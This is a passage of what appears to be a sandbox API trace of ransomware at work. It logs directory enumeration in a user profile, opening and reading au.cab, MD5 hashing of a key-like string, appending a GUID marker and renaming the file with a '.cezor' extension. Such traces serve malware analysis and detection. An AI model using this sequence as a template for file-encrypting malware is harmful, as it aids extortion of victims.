(HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.757] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.757] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.757] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.758] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.758] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0061.758] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.758] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.758] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.759] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.759] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.760] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.760] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.761] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.761] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.762] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.762] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.763] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.763] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.763] PathFindFileNameW (pszPath="") returned="" [0061.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.764] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.764] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0061.764] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0061.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.765] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=581730) returned 1 [0061.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.768] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.768] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.770] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x25805, lpOverlapped=0x0) returned 1 [0061.771] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.772] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.772] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.772] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ecd8) returned 1 [0061.772] CryptCreateHash (in: hProv=0x74ecd8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.772] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.772] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.772] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.772] GetLastError () returned 0x0 [0061.773] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.773] CryptReleaseContext (hProv=0x74ecd8, dwFlags=0x0) returned 1 [0061.774] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8e062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.774] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.774] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.774] CloseHandle (hObject=0x5c4) returned 1 [0061.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab.cezor")) returned 1 [0061.783] FindNextFileW (in: 